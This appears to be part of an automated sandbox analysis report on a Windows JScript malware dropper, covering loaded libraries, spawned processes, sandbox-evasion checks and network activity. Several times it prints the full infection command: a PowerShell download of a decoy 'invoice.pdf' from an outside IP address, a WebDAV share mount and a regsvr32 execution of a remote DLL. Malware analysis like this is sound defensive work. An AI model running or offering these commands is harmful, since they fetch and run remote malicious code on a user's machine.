Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5374.js.csv");ITextStream.WriteLine(" entry:7976 f:mnleah");ITextStream.WriteLine(" exec:2 f:mnleah");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3933			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5148			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1632	Thread sleep count: 3933 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1776	Thread sleep count: 5148 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3656	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5268	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2276	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2137267431.0000017028073000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2137267431.0000017028008000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3349512140.000001E7B8A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3349612684.000001E7B8AB8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3350628310.000001E7BE05A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

